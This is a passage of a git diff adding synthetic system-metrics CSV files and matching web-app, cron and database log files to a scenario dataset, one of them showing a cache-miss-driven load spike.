+2025-08-22T10:02:50Z,19.19,38.33,28.97,1.04,0.93,3 +2025-08-22T10:02:55Z,13.38,42.67,37.99,1.27,1.17,0 +2025-08-22T10:03:00Z,10.69,36.19,32.76,0.81,0.91,4 +2025-08-22T10:03:05Z,19.81,42.26,23.7,1.23,0.78,4 +2025-08-22T10:03:10Z,17.47,36.57,23.26,0.95,1.27,4 +2025-08-22T10:03:15Z,10.68,37.82,37.55,1.1,0.97,3 +2025-08-22T10:03:20Z,11.87,41.38,30.05,0.85,0.91,0 +2025-08-22T10:03:25Z,16.77,44.98,29.37,1.48,0.88,4 +2025-08-22T10:03:30Z,18.05,43.88,22.34,0.95,1.18,3 +2025-08-22T10:03:35Z,10.91,44.12,28.5,1.33,0.97,3 +2025-08-22T10:03:40Z,11.13,39.95,31.65,1.06,1.0,3 +2025-08-22T10:03:45Z,13.62,37.87,27.13,1.48,1.12,3 +2025-08-22T10:03:50Z,12.77,36.29,34.22,1.49,0.88,2 +2025-08-22T10:03:55Z,13.78,42.4,23.51,1.15,0.83,0 +2025-08-22T10:04:00Z,14.72,36.21,28.29,1.35,0.99,2 +2025-08-22T10:04:05Z,11.56,44.64,37.71,1.07,0.7,3 +2025-08-22T10:04:10Z,11.32,36.28,31.83,1.3,0.96,4 +2025-08-22T10:04:15Z,12.69,42.19,36.1,1.05,0.73,0 +2025-08-22T10:04:20Z,11.52,35.21,27.41,1.01,1.14,3 +2025-08-22T10:04:25Z,11.81,37.0,29.4,1.45,0.82,0 +2025-08-22T10:04:30Z,14.58,41.57,34.12,1.23,0.82,0 +2025-08-22T10:04:35Z,19.03,38.37,25.43,1.31,1.14,2 +2025-08-22T10:04:40Z,17.33,41.45,27.59,0.88,0.87,0 +2025-08-22T10:04:45Z,17.58,42.09,25.19,1.42,1.11,2 +2025-08-22T10:04:50Z,10.01,40.77,24.26,1.23,1.05,4 +2025-08-22T10:04:55Z,15.96,37.46,32.26,1.12,1.28,1 +2025-08-22T10:05:00Z,19.11,37.57,39.53,1.26,1.06,3 +2025-08-22T10:05:05Z,10.95,35.58,23.28,1.4,0.85,2 +2025-08-22T10:05:10Z,11.5,35.8,22.66,1.47,1.19,2 +2025-08-22T10:05:15Z,18.18,38.48,29.82,1.23,1.1,4 +2025-08-22T10:05:20Z,19.4,37.09,20.07,1.29,0.81,4 +2025-08-22T10:05:25Z,19.7,36.39,25.93,0.93,1.2,1 +2025-08-22T10:05:30Z,15.77,37.9,29.17,1.0,1.04,0 +2025-08-22T10:05:35Z,16.83,36.7,28.0,1.13,0.82,1 +2025-08-22T10:05:40Z,13.08,43.83,29.16,1.18,0.73,2 +2025-08-22T10:05:45Z,12.74,41.86,23.71,1.18,1.19,1 +2025-08-22T10:05:50Z,11.4,41.82,30.35,0.89,0.85,3 +2025-08-22T10:05:55Z,15.14,43.87,32.07,1.4,0.81,0 +2025-08-22T10:06:00Z,18.63,38.3,31.52,1.12,0.76,4 +2025-08-22T10:06:05Z,18.69,44.63,29.71,0.82,0.93,0 +2025-08-22T10:06:10Z,19.02,42.26,35.27,1.44,0.7,3 +2025-08-22T10:06:15Z,13.46,35.15,34.22,1.28,0.92,2 +2025-08-22T10:06:20Z,18.02,38.27,27.21,0.96,1.3,0 +2025-08-22T10:06:25Z,16.93,36.51,33.64,1.28,1.26,4 +2025-08-22T10:06:30Z,15.28,39.43,39.9,0.96,1.13,4 +2025-08-22T10:06:35Z,14.38,40.08,22.32,1.43,0.81,1 +2025-08-22T10:06:40Z,18.64,35.98,30.94,1.08,0.75,0 +2025-08-22T10:06:45Z,11.17,36.47,25.82,1.31,1.25,2 +2025-08-22T10:06:50Z,15.42,36.99,39.63,1.12,0.99,2 +2025-08-22T10:06:55Z,12.98,42.76,25.15,0.94,1.2,1 +2025-08-22T10:07:00Z,14.86,38.96,21.97,1.26,1.14,3 +2025-08-22T10:07:05Z,11.85,38.74,34.27,1.04,1.24,3 +2025-08-22T10:07:10Z,18.79,39.66,37.13,1.31,1.26,3 +2025-08-22T10:07:15Z,19.57,36.02,22.68,1.19,1.19,3 +2025-08-22T10:07:20Z,18.37,39.44,37.42,1.01,1.22,2 +2025-08-22T10:07:25Z,16.88,44.82,26.56,1.25,1.16,2 diff --git a/norm_dataset/scenario_14/norm_14_28.log b/norm_dataset/scenario_14/norm_14_28.log new file mode 100644 index 0000000000000000000000000000000000000000..fb84ca94865ff3721a3bf5a7b4f258d43da0b6af --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_28.log @@ -0,0 +1,20 @@ +Aug 22 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:10 web-app[1234]: DEBUG cache hit for key: user:profile:123 +Aug 22 10:00:25 web-app[1234]: GET /api/v1/user/123 status=200 OK +Aug 22 10:01:25 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:05 web-app[1234]: GET /api/v1/user/136 status=200 OK +Aug 22 10:02:20 web-app[1234]: DEBUG cache hit for key: item:details:1572 +Aug 22 10:03:10 web-app[1234]: GET /api/v1/user/166 status=200 OK +Aug 22 10:03:40 web-app[1234]: DEBUG cache hit for key: item:details:1898 +Aug 22 10:03:45 web-app[1234]: GET /api/v1/user/111 status=200 OK +Aug 22 10:03:50 web-app[1234]: DEBUG cache hit for key: item:details:1275 +Aug 22 10:04:25 web-app[1234]: GET /api/v1/user/134 status=200 OK +Aug 22 10:04:55 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:05:35 web-app[1234]: DEBUG cache hit for key: item:details:1550 +Aug 22 10:06:10 web-app[1234]: DEBUG cache hit for key: item:details:1055 +Aug 22 10:06:25 web-app[1234]: GET /api/v1/user/136 status=200 OK +Aug 22 10:06:40 web-app[1234]: GET /api/v1/user/137 status=200 OK +Aug 22 10:06:50 web-app[1234]: GET /api/v1/user/120 status=200 OK +Aug 22 10:07:15 web-app[1234]: DEBUG cache hit for key: user:profile:456 +Aug 22 10:07:15 web-app[1234]: GET /api/v1/user/193 status=200 OK +Aug 22 10:07:25 web-app[1234]: DEBUG cache hit for key: item:details:1833 diff --git a/norm_dataset/scenario_14/norm_14_29.csv b/norm_dataset/scenario_14/norm_14_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..42305e897fc40a01fd1751abe058456bcb70f5fb --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_29.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,cache_misses +2025-08-23T10:00:00Z,10.47,41.77,15.53,1.1,0.94,2 +2025-08-23T10:00:05Z,10.9,43.74,27.94,1.39,1.13,3 +2025-08-23T10:00:10Z,16.96,43.37,29.76,1.03,1.2,4 +2025-08-23T10:00:15Z,18.61,36.6,19.33,1.3,0.95,2 +2025-08-23T10:00:20Z,14.09,40.05,26.65,1.04,1.2,3 +2025-08-23T10:00:25Z,17.72,38.27,28.01,1.43,0.74,1 +2025-08-23T10:00:30Z,11.21,37.54,29.88,0.85,0.89,2 +2025-08-23T10:00:35Z,12.79,42.81,20.84,1.42,1.08,2 +2025-08-23T10:00:40Z,16.04,41.1,17.51,1.15,1.09,0 +2025-08-23T10:00:45Z,14.81,35.91,24.17,1.18,1.23,1 +2025-08-23T10:00:50Z,19.33,44.5,18.27,1.15,1.15,0 +2025-08-23T10:00:55Z,17.41,40.61,15.02,0.83,1.29,2 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+2025-08-23T10:07:20Z,11.08,42.51,29.11,1.4,1.23,4 +2025-08-23T10:07:25Z,10.54,36.77,19.16,0.83,0.97,0 diff --git a/norm_dataset/scenario_14/norm_14_29.log b/norm_dataset/scenario_14/norm_14_29.log new file mode 100644 index 0000000000000000000000000000000000000000..3ba1178a2668812913286bd2afc7a5e96ad5861c --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_29.log @@ -0,0 +1,20 @@ +Aug 23 10:00:25 INFO web-app[1234]: GET /api/v1/user/58 status=200 OK (cache_hit=true) +Aug 23 10:00:30 INFO web-app[1234]: GET /api/v1/user/8 status=200 OK (cache_hit=true) +Aug 23 10:00:35 INFO web-app[1234]: GET /api/v1/products/list status=200 OK (cache_hit=true) +Aug 23 10:00:40 INFO systemd[1]: Starting daily clean up activities... +Aug 23 10:01:30 INFO web-app[1234]: GET /api/v1/products/list status=200 OK (cache_hit=true) +Aug 23 10:01:50 INFO web-app[1234]: GET /api/v1/products/list status=200 OK (cache_hit=true) +Aug 23 10:02:15 INFO web-app[1234]: GET /api/v1/user/12 status=200 OK (cache_hit=true) +Aug 23 10:02:20 INFO web-app[1234]: GET /api/v1/user/23 status=200 OK (cache_hit=true) +Aug 23 10:02:25 INFO web-app[1234]: GET /api/v1/user/12 status=200 OK (cache_hit=true) +Aug 23 10:02:35 INFO web-app[1234]: GET /api/v1/user/101 status=200 OK (cache_hit=true) +Aug 23 10:02:50 INFO systemd[1]: Starting daily clean up activities... +Aug 23 10:03:20 INFO web-app[1234]: GET /api/v1/user/58 status=200 OK (cache_hit=true) +Aug 23 10:03:35 INFO web-app[1234]: GET /api/v1/user/8 status=200 OK (cache_hit=true) +Aug 23 10:03:50 INFO web-app[1234]: GET /api/v1/user/23 status=200 OK (cache_hit=true) +Aug 23 10:04:00 INFO web-app[1234]: GET /api/v1/user/101 status=200 OK (cache_hit=true) +Aug 23 10:04:45 INFO kubelet[2345]: Liveness probe for pod nginx-deployment succeeded. +Aug 23 10:05:15 INFO web-app[1234]: GET /api/v1/user/101 status=200 OK (cache_hit=true) +Aug 23 10:06:10 INFO web-app[1234]: GET /api/v1/user/23 status=200 OK (cache_hit=true) +Aug 23 10:06:50 INFO web-app[1234]: GET /api/v1/user/8 status=200 OK (cache_hit=true) +Aug 23 10:07:05 INFO systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_14/norm_14_3.csv b/norm_dataset/scenario_14/norm_14_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..086e2a3a3ae1dd8531712c4421d448674e429092 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_3.csv @@ -0,0 +1,91 @@ +timestamp,db_cpu,db_disk_io,db_net_in,db_net_out,cache_misses +2025-08-20T10:00:00Z,18.35,23.55,1.16,0.99,7 +2025-08-20T10:00:05Z,23.87,31.62,1.41,0.73,5 +2025-08-20T10:00:10Z,24.24,38.23,1.43,1.12,12 +2025-08-20T10:00:15Z,20.5,25.97,1.21,1.11,7 +2025-08-20T10:00:20Z,19.95,24.6,0.9,0.85,13 +2025-08-20T10:00:25Z,24.09,39.11,1.14,0.76,9 +2025-08-20T10:00:30Z,21.88,24.82,1.04,0.77,6 +2025-08-20T10:00:35Z,17.63,21.03,1.25,1.11,5 +2025-08-20T10:00:40Z,20.2,34.34,0.88,1.09,8 +2025-08-20T10:00:45Z,15.17,23.68,1.19,1.14,5 +2025-08-20T10:00:50Z,18.82,35.24,0.93,1.29,8 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+2025-08-20T10:06:10Z,22.4,34.73,1.42,0.8,7 +2025-08-20T10:06:15Z,24.54,38.17,1.37,0.89,7 +2025-08-20T10:06:20Z,21.64,26.04,1.01,1.19,6 +2025-08-20T10:06:25Z,16.8,25.99,1.01,1.03,12 +2025-08-20T10:06:30Z,19.82,31.41,1.1,0.83,14 +2025-08-20T10:06:35Z,20.29,37.78,1.45,1.04,12 +2025-08-20T10:06:40Z,22.64,33.65,1.42,1.14,14 +2025-08-20T10:06:45Z,18.72,21.22,1.49,1.21,9 +2025-08-20T10:06:50Z,19.96,34.64,1.06,1.06,12 +2025-08-20T10:06:55Z,17.18,20.09,1.04,0.98,7 +2025-08-20T10:07:00Z,16.45,34.67,1.35,1.05,6 +2025-08-20T10:07:05Z,24.68,33.06,1.45,1.0,7 +2025-08-20T10:07:10Z,24.45,22.95,1.45,1.09,11 +2025-08-20T10:07:15Z,24.79,35.78,1.5,1.06,6 +2025-08-20T10:07:20Z,24.0,29.42,0.84,1.03,14 +2025-08-20T10:07:25Z,20.0,27.15,1.06,1.06,14 diff --git a/norm_dataset/scenario_14/norm_14_3.log b/norm_dataset/scenario_14/norm_14_3.log new file mode 100644 index 0000000000000000000000000000000000000000..94d347bbc69f081e3d685378efae5729733c05c9 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_3.log @@ -0,0 +1,51 @@ +Aug 20 10:00:00 web-app[1234]: DEBUG Cache hit for user_id: 27 +Aug 20 10:00:00 web-app[1234]: GET /api/v1/user/27 status=200 OK +Aug 20 10:00:25 systemd[1]: Starting daily clean up activities... +Aug 20 10:00:30 web-app[1234]: DEBUG Cache hit for user_id: 10 +Aug 20 10:00:30 web-app[1234]: GET /api/v1/user/10 status=200 OK +Aug 20 10:00:50 CRON[12033]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 10:01:00 web-app[1234]: DEBUG Cache hit for user_id: 11 +Aug 20 10:01:00 web-app[1234]: GET /api/v1/user/11 status=200 OK +Aug 20 10:01:15 web-app[1234]: INFO Cache miss for user_id: 193. Fetching from DB. +Aug 20 10:01:15 postgres[5678]: LOG: statement: SELECT * FROM users WHERE id = 193; +Aug 20 10:01:15 web-app[1234]: GET /api/v1/user/193 status=200 OK +Aug 20 10:01:25 systemd[1]: Starting daily clean up activities... +Aug 20 10:01:30 web-app[1234]: DEBUG Cache hit for user_id: 49 +Aug 20 10:01:30 web-app[1234]: GET /api/v1/user/49 status=200 OK +Aug 20 10:02:00 web-app[1234]: DEBUG Cache hit for user_id: 29 +Aug 20 10:02:00 web-app[1234]: GET /api/v1/user/29 status=200 OK +Aug 20 10:02:25 systemd[1]: Starting daily clean up activities... +Aug 20 10:02:30 web-app[1234]: DEBUG Cache hit for user_id: 26 +Aug 20 10:02:30 web-app[1234]: GET /api/v1/user/26 status=200 OK +Aug 20 10:02:50 CRON[14708]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 10:03:00 web-app[1234]: DEBUG Cache hit for user_id: 35 +Aug 20 10:03:00 web-app[1234]: GET /api/v1/user/35 status=200 OK +Aug 20 10:03:25 systemd[1]: Starting daily clean up activities... +Aug 20 10:03:30 web-app[1234]: DEBUG Cache hit for user_id: 12 +Aug 20 10:03:30 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 20 10:03:45 web-app[1234]: INFO Cache miss for user_id: 194. Fetching from DB. +Aug 20 10:03:45 postgres[5678]: LOG: statement: SELECT * FROM users WHERE id = 194; +Aug 20 10:03:45 web-app[1234]: GET /api/v1/user/194 status=200 OK +Aug 20 10:04:00 web-app[1234]: DEBUG Cache hit for user_id: 36 +Aug 20 10:04:00 web-app[1234]: GET /api/v1/user/36 status=200 OK +Aug 20 10:04:25 systemd[1]: Starting daily clean up activities... +Aug 20 10:04:30 web-app[1234]: DEBUG Cache hit for user_id: 10 +Aug 20 10:04:30 web-app[1234]: GET /api/v1/user/10 status=200 OK +Aug 20 10:04:50 CRON[18651]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 10:05:00 web-app[1234]: DEBUG Cache hit for user_id: 33 +Aug 20 10:05:00 web-app[1234]: GET /api/v1/user/33 status=200 OK +Aug 20 10:05:25 systemd[1]: Starting daily clean up activities... +Aug 20 10:05:30 web-app[1234]: DEBUG Cache hit for user_id: 46 +Aug 20 10:05:30 web-app[1234]: GET /api/v1/user/46 status=200 OK +Aug 20 10:06:00 web-app[1234]: DEBUG Cache hit for user_id: 21 +Aug 20 10:06:00 web-app[1234]: GET /api/v1/user/21 status=200 OK +Aug 20 10:06:15 web-app[1234]: INFO Cache miss for user_id: 185. Fetching from DB. +Aug 20 10:06:15 postgres[5678]: LOG: statement: SELECT * FROM users WHERE id = 185; +Aug 20 10:06:15 web-app[1234]: GET /api/v1/user/185 status=200 OK +Aug 20 10:06:25 systemd[1]: Starting daily clean up activities... +Aug 20 10:06:30 web-app[1234]: DEBUG Cache hit for user_id: 29 +Aug 20 10:06:30 web-app[1234]: GET /api/v1/user/29 status=200 OK +Aug 20 10:06:50 CRON[13238]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 10:07:00 web-app[1234]: DEBUG Cache hit for user_id: 17 +Aug 20 10:07:00 web-app[1234]: GET /api/v1/user/17 status=200 OK +Aug 20 10:07:25 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_14/norm_14_30.csv b/norm_dataset/scenario_14/norm_14_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..d500e8eec296a00166f022da7c328986ab5c6401 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_30.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,cache_misses +2025-08-22 10:00:00,10.47,40.32,24.13,1.41,1.7,7 +2025-08-22 10:00:05,10.9,48.21,20.92,1.72,1.44,8 +2025-08-22 10:00:10,16.96,45.95,33.97,1.83,1.95,5 +2025-08-22 10:00:15,18.61,43.29,27.53,1.42,1.35,7 +2025-08-22 10:00:20,14.09,44.34,39.13,1.83,1.48,12 +2025-08-22 10:00:25,17.72,47.9,27.44,1.07,1.97,7 +2025-08-22 10:00:30,11.21,44.34,34.15,1.31,1.92,11 +2025-08-22 10:00:35,12.79,44.97,20.58,1.63,1.09,6 +2025-08-22 10:00:40,16.04,40.18,23.25,1.65,1.83,10 +2025-08-22 10:00:45,14.81,41.19,39.97,1.88,1.78,11 +2025-08-22 10:00:50,19.33,48.61,34.18,1.75,1.43,12 +2025-08-22 10:00:55,17.41,42.19,25.23,1.99,1.08,11 +2025-08-22 10:01:00,16.86,47.19,37.66,1.22,1.76,5 +2025-08-22 10:01:05,12.36,42.61,27.89,1.17,1.08,10 +2025-08-22 10:01:10,18.35,47.76,37.59,1.73,1.08,7 +2025-08-22 10:01:15,10.18,47.9,21.0,1.31,1.99,10 +2025-08-22 10:01:20,17.41,47.56,39.6,1.86,1.24,14 +2025-08-22 10:01:25,17.37,42.26,27.62,1.37,1.42,7 +2025-08-22 10:01:30,13.96,44.43,37.3,1.45,1.23,7 +2025-08-22 10:01:35,13.37,44.85,26.58,1.47,1.16,10 +2025-08-22 10:01:40,15.8,42.21,30.7,1.83,1.65,7 +2025-08-22 10:01:45,12.03,49.58,37.08,1.67,1.94,12 +2025-08-22 10:01:50,16.42,46.59,39.45,1.75,1.42,6 +2025-08-22 10:01:55,17.0,47.41,21.75,1.13,1.66,10 +2025-08-22 10:02:00,15.95,46.07,29.37,1.36,1.78,9 +2025-08-22 10:02:05,12.62,46.42,26.06,1.77,1.46,14 +2025-08-22 10:02:10,16.98,46.43,31.95,1.9,1.84,11 +2025-08-22 10:02:15,13.2,42.7,34.89,1.34,1.52,5 +2025-08-22 10:02:20,13.87,43.82,38.82,1.14,1.55,12 +2025-08-22 10:02:25,14.24,41.28,25.54,1.67,1.58,13 +2025-08-22 10:02:30,90.16,46.67,109.36,13.79,10.1,288 +2025-08-22 10:02:35,93.12,47.56,141.99,13.08,8.13,274 +2025-08-22 10:02:40,92.56,46.66,126.51,13.92,9.5,283 +2025-08-22 10:02:45,82.39,52.41,128.87,12.39,9.03,230 +2025-08-22 10:02:50,87.57,53.33,116.47,12.78,11.66,298 +2025-08-22 10:02:55,84.9,50.82,134.58,14.85,9.23,280 +2025-08-22 10:03:00,83.82,50.64,112.11,10.51,11.06,267 +2025-08-22 10:03:05,91.72,54.72,133.76,12.31,8.57,294 +2025-08-22 10:03:10,89.15,52.95,113.85,14.26,10.85,269 +2025-08-22 10:03:15,81.36,51.94,142.12,10.24,10.03,223 +2025-08-22 10:03:20,94.26,45.54,143.73,12.2,8.95,281 +2025-08-22 10:03:25,88.42,51.07,120.39,11.04,11.42,283 +2025-08-22 10:03:30,90.01,50.63,139.15,13.48,10.33,276 +2025-08-22 10:03:35,85.0,50.44,138.69,12.37,11.92,262 +2025-08-22 10:03:40,87.07,48.3,132.26,14.96,8.22,275 +2025-08-22 10:03:45,89.29,53.11,143.7,14.04,8.72,232 +2025-08-22 10:03:50,81.68,50.73,113.29,12.21,8.3,227 +2025-08-22 10:03:55,91.36,51.15,145.83,11.27,11.38,202 +2025-08-22 10:04:00,91.67,47.75,136.12,12.46,8.45,269 +2025-08-22 10:04:05,85.49,49.24,102.26,12.68,10.0,232 +2025-08-22 10:04:10,88.22,52.63,136.13,14.08,10.04,276 +2025-08-22 10:04:15,94.1,52.72,114.05,12.54,8.41,292 +2025-08-22 10:04:20,86.16,50.76,105.13,11.6,10.86,251 +2025-08-22 10:04:25,81.18,49.55,114.74,10.54,8.69,232 +2025-08-22 10:04:30,83.36,52.62,131.68,11.06,11.69,256 +2025-08-22 10:04:35,87.09,47.32,131.66,13.82,9.34,270 +2025-08-22 10:04:40,93.1,52.84,131.41,14.17,8.31,233 +2025-08-22 10:04:45,82.92,49.07,137.43,13.28,10.72,242 +2025-08-22 10:04:50,91.08,54.89,142.95,10.05,8.9,280 +2025-08-22 10:04:55,87.34,54.81,102.45,13.33,8.81,208 +2025-08-22 10:05:00,13.84,40.35,23.27,1.34,1.0,10 +2025-08-22 10:05:05,18.5,48.62,20.06,1.2,1.42,8 +2025-08-22 10:05:10,18.36,49.84,36.18,1.23,1.06,7 +2025-08-22 10:05:15,17.95,42.89,25.39,1.15,1.7,6 +2025-08-22 10:05:20,15.63,47.77,28.68,1.28,1.59,13 +2025-08-22 10:05:25,13.25,48.67,38.24,1.74,1.66,14 +2025-08-22 10:05:30,16.88,49.92,36.47,1.03,1.8,11 +2025-08-22 10:05:35,18.82,43.89,33.65,1.56,1.59,6 +2025-08-22 10:05:40,11.08,41.67,26.38,1.11,1.95,10 +2025-08-22 10:05:45,16.41,46.11,33.96,1.61,1.22,14 +2025-08-22 10:05:50,19.73,42.18,39.96,1.3,1.33,12 +2025-08-22 10:05:55,19.37,40.01,20.71,1.56,1.24,11 +2025-08-22 10:06:00,19.08,43.01,37.09,1.5,1.61,8 +2025-08-22 10:06:05,13.43,48.74,20.01,1.2,1.88,13 +2025-08-22 10:06:10,17.59,47.31,31.5,1.94,1.04,5 +2025-08-22 10:06:15,12.03,48.08,24.03,1.49,1.25,13 +2025-08-22 10:06:20,13.26,48.81,33.68,1.55,1.59,6 +2025-08-22 10:06:25,14.99,44.06,29.56,1.09,1.49,10 +2025-08-22 10:06:30,16.4,44.75,30.64,1.43,1.66,10 +2025-08-22 10:06:35,19.68,49.57,30.31,1.97,1.08,14 +2025-08-22 10:06:40,11.26,46.46,30.69,1.52,2.0,12 +2025-08-22 10:06:45,15.61,44.11,24.04,1.16,1.81,8 +2025-08-22 10:06:50,14.59,41.08,36.99,1.22,1.59,8 +2025-08-22 10:06:55,13.69,40.92,28.36,1.62,1.68,12 +2025-08-22 10:07:00,19.46,40.08,24.35,1.34,1.44,12 +2025-08-22 10:07:05,14.59,45.02,33.0,1.43,1.14,12 +2025-08-22 10:07:10,15.5,45.61,27.78,1.0,1.75,13 +2025-08-22 10:07:15,12.68,43.65,23.81,1.56,1.16,5 +2025-08-22 10:07:20,11.08,42.23,25.19,1.89,1.06,14 +2025-08-22 10:07:25,10.54,42.71,37.02,1.44,1.43,8 diff --git a/norm_dataset/scenario_14/norm_14_30.log b/norm_dataset/scenario_14/norm_14_30.log new file mode 100644 index 0000000000000000000000000000000000000000..351db2b243ffa50626393d9d79f50cc097eb63eb --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_30.log @@ -0,0 +1,31 @@ +Aug 22 10:00:25 web-app[12345]: INFO GET /api/v1/user/profile/123 status=200 OK +Aug 22 10:00:50 web-app[12345]: INFO GET /api/v1/products/list status=200 OK +Aug 22 10:01:40 db-backend[67890]: LOG: checkpoint starting: time +Aug 22 10:02:05 web-app[12345]: INFO POST /api/v1/login status=200 OK +Aug 22 10:02:35 db-backend[67890]: LOG: statement: SELECT * FROM products WHERE id = 347; +Aug 22 10:02:35 web-app[12345]: INFO cache miss for key: product:347 +Aug 22 10:02:45 db-backend[67890]: LOG: statement: SELECT * FROM products WHERE id = 233; +Aug 22 10:02:45 web-app[12345]: INFO cache miss for key: product:233 +Aug 22 10:02:55 db-backend[67890]: LOG: statement: SELECT * FROM products WHERE id = 438; +Aug 22 10:02:55 web-app[12345]: INFO cache miss for key: product:438 +Aug 22 10:03:10 db-backend[67890]: LOG: statement: SELECT * FROM products WHERE id = 358; +Aug 22 10:03:10 web-app[12345]: INFO cache miss for key: product:358 +Aug 22 10:03:20 db-backend[67890]: LOG: statement: SELECT * FROM products WHERE id = 113; +Aug 22 10:03:20 web-app[12345]: INFO cache miss for key: product:113 +Aug 22 10:03:30 db-backend[67890]: LOG: statement: SELECT * FROM products WHERE id = 187; +Aug 22 10:03:30 web-app[12345]: INFO cache miss for key: product:187 +Aug 22 10:03:45 db-backend[67890]: LOG: statement: SELECT * FROM products WHERE id = 421; +Aug 22 10:03:45 web-app[12345]: INFO cache miss for key: product:421 +Aug 22 10:04:00 db-backend[67890]: LOG: statement: SELECT * FROM products WHERE id = 126; +Aug 22 10:04:00 web-app[12345]: INFO cache miss for key: product:126 +Aug 22 10:04:10 db-backend[67890]: LOG: statement: SELECT * FROM products WHERE id = 427; +Aug 22 10:04:10 web-app[12345]: INFO cache miss for key: product:427 +Aug 22 10:04:20 db-backend[67890]: LOG: statement: SELECT * FROM products WHERE id = 380; +Aug 22 10:04:20 web-app[12345]: INFO cache miss for key: product:380 +Aug 22 10:04:35 db-backend[67890]: LOG: statement: SELECT * FROM products WHERE id = 348; +Aug 22 10:04:35 web-app[12345]: INFO cache miss for key: product:348 +Aug 22 10:04:50 db-backend[67890]: LOG: statement: SELECT * FROM products WHERE id = 207; +Aug 22 10:04:50 web-app[12345]: INFO cache miss for key: product:207 +Aug 22 10:05:25 db-backend[67890]: LOG: checkpoint complete +Aug 22 10:06:15 web-app[12345]: INFO GET /api/v1/user/profile/456 status=200 OK +Aug 22 10:07:05 web-app[12345]: INFO GET /api/v1/products/list status=200 OK diff --git a/norm_dataset/scenario_14/norm_14_4.csv b/norm_dataset/scenario_14/norm_14_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..369bc6250c48e34b6abcf1458d348b3f2a196f3d --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_4.csv @@ -0,0 +1,91 @@ +timestamp,app_cpu,app_mem,db_cpu,db_disk_io,db_net_in,cache_hits,cache_misses +2025-08-21T10:00:00Z,15.55,37.07,8.18,21.49,1.15,1008,14 +2025-08-21T10:00:05Z,11.29,41.4,7.5,22.01,1.01,1041,7 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+2025-08-21T10:04:25Z,13.84,44.84,9.51,19.43,1.33,936,12 +2025-08-21T10:04:30Z,15.86,38.01,10.18,22.12,1.4,942,14 +2025-08-21T10:04:35Z,16.6,38.26,10.76,22.11,1.07,1172,9 +2025-08-21T10:04:40Z,13.78,40.52,9.22,21.28,0.88,1117,10 +2025-08-21T10:04:45Z,17.37,42.4,9.11,19.97,1.12,939,14 +2025-08-21T10:04:50Z,13.58,41.61,10.01,20.56,0.83,935,7 +2025-08-21T10:04:55Z,13.44,37.53,10.6,19.61,0.82,1036,12 +2025-08-21T10:05:00Z,14.54,40.44,12.82,20.13,1.26,930,13 +2025-08-21T10:05:05Z,15.24,39.73,9.18,18.27,1.04,1142,8 +2025-08-21T10:05:10Z,13.42,42.82,10.56,22.13,1.11,980,13 +2025-08-21T10:05:15Z,9.08,43.53,8.93,18.52,0.79,921,6 +2025-08-21T10:05:20Z,13.41,40.07,12.93,22.8,0.93,905,12 +2025-08-21T10:05:25Z,15.57,40.91,8.86,15.71,0.91,1146,12 +2025-08-21T10:05:30Z,16.05,42.86,10.34,18.91,0.81,1009,10 +2025-08-21T10:05:35Z,15.17,39.98,12.11,19.88,1.09,1056,11 +2025-08-21T10:05:40Z,20.44,40.64,8.4,21.42,1.03,1152,8 +2025-08-21T10:05:45Z,16.22,43.73,8.17,21.56,0.82,958,7 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+2025-08-21T10:07:15Z,8.2,39.31,11.61,21.15,0.93,1176,10 +2025-08-21T10:07:20Z,17.47,38.77,11.25,17.09,1.05,946,11 +2025-08-21T10:07:25Z,13.82,36.42,7.79,19.0,1.33,1002,6 diff --git a/norm_dataset/scenario_14/norm_14_4.log b/norm_dataset/scenario_14/norm_14_4.log new file mode 100644 index 0000000000000000000000000000000000000000..44ee5f23154d18764f84be619a10a34342f32e0b --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_4.log @@ -0,0 +1,98 @@ +Aug 21 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 21 10:00:00 web-app[2048]: GET /api/v1/user/profile/88 status=200 OK +Aug 21 10:00:05 web-app[2048]: GET /api/v1/news/latest/23 status=200 OK +Aug 21 10:00:10 web-app[2048]: GET /api/v1/news/latest/23 status=200 OK +Aug 21 10:00:15 web-app[2048]: GET /api/v1/products/hot/101 status=200 OK +Aug 21 10:00:20 web-app[2048]: GET /api/v1/news/latest/54 status=200 OK +Aug 21 10:00:25 web-app[2048]: GET /api/v1/news/latest/23 status=200 OK +Aug 21 10:00:30 web-app[2048]: GET /api/v1/user/status/88 status=200 OK +Aug 21 10:00:35 web-app[2048]: GET /api/v1/user/status/54 status=200 OK +Aug 21 10:00:40 web-app[2048]: GET /api/v1/news/latest/23 status=200 OK +Aug 21 10:00:45 web-app[2048]: GET /api/v1/user/profile/54 status=200 OK +Aug 21 10:00:50 web-app[2048]: GET /api/v1/user/status/88 status=200 OK +Aug 21 10:00:55 web-app[2048]: GET /api/v1/user/profile/12 status=200 OK +Aug 21 10:01:00 web-app[2048]: GET /api/v1/news/latest/88 status=200 OK +Aug 21 10:01:05 web-app[2048]: GET /api/v1/products/hot/88 status=200 OK +Aug 21 10:01:10 web-app[2048]: GET /api/v1/news/latest/12 status=200 OK +Aug 21 10:01:15 web-app[2048]: GET /api/v1/news/latest/12 status=200 OK +Aug 21 10:01:20 web-app[2048]: GET /api/v1/news/latest/12 status=200 OK +Aug 21 10:01:25 web-app[2048]: GET 